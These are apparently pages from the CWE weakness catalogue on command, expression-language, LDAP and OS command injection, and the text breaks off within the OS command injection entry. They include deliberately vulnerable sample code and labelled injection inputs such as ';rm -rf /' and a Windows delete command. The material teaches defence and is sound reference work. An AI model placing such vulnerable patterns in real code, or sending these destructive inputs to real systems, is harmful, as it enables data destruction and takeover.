Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
+ Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Command injection is a common problem with wrapper programs.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.88Argument Injection or Modification
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.624Executable Regular Expression Error
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.917Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.88Argument Injection or Modification
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.88Argument Injection or Modification
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.624Executable Regular Expression Error
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.917Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

(bad code)
Example Language: Java 
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

(bad code)
Example Language:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);
}

Used normally, the output is simply the contents of the file requested:

(informative)
 
$ ./catWrapper Story.txt
When last we left our heroes...

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

(attack code)
 
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Implementation

If possible, ensure that all external commands called from the program are statically created.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Operation

Run time: Run time policy enforcement may be used in a whitelist fashion to prevent use of any non-sanctioned commands.

Phase: System Configuration

Assign permissions to the software system that prevents the user from accessing/opening privileged files.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
+ Notes

Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsCommand Injection
CLASPCommand injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
Software Fault PatternsSFP24Tainted input to command
CERT Perl Secure CodingIDS34-PLCWE More SpecificDo not pass untrusted, unsanitized data to a command interpreter
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganization
7 Pernicious Kingdoms
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-06-21CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Command Injection
2009-05-27Failure to Sanitize Data into a Control Plane (aka 'Command Injection')
2009-07-27Failure to Sanitize Data into a Control Plane ('Command Injection')
2010-06-21Improper Sanitization of Special Elements used in a Command ('Command Injection')

CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID: 917
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
+ Alternate Terms
EL Injection
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Integrity

Technical Impact: Execute Unauthorized Code or Commands

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
+ Notes

Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.
+ References
[REF-911] Stefano Di Paola and Arshan Dabirsiaghi. "Expression Language Injection". <http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf>.
[REF-912] Dan Amodio. "Remote Code with Expression Language Injection". 2012-12-14. <http://danamodio.com/application-security/discoveries/spring-remote-code-with-expression-language-injection/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2013-02-15CWE Content TeamMITRE
Contributions
Contribution DateContributorOrganization
2013-02-15Dan Amodio, Dave WichersAspect Security
Suggested adding this weakness and provided references.
Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated References
2018-03-27CWE Content TeamMITRE
updated Relationships

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.943Improper Neutralization of Special Elements in Data Query Logic
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.943Improper Neutralization of Special Elements in Data Query Logic
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.943Improper Neutralization of Special Elements in Data Query Logic
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data

An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.
+ Demonstrative Examples

Example 1

The code below constructs an LDAP query using user input address data:

(bad code)
Example Language: Java 
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

+ Observed Examples
ReferenceDescription
Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
+ Notes

Relationship

Factors: resultant to special character mismanagement, MAID, or blacklist/whitelist problems. Can be primary to authentication and verification errors.

Research Gap

Under-reported. This is likely found very frequently by third party code auditors, but there are very few publicly reported examples.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLDAP injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
WASC29LDAP Injection
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-879] SPI Dynamics. "Web Applications and LDAP Injection".
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11LDAP Injection
2009-05-27Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
2010-06-21Failure to Sanitize Data into LDAP Queries ('LDAP Injection')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
+ Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
  2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.88Argument Injection or Modification
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.184Incomplete Blacklist
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(attack code)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(bad code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(bad code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform

// ...
}
catch(Exception e) {...}
return utmCoords;
}

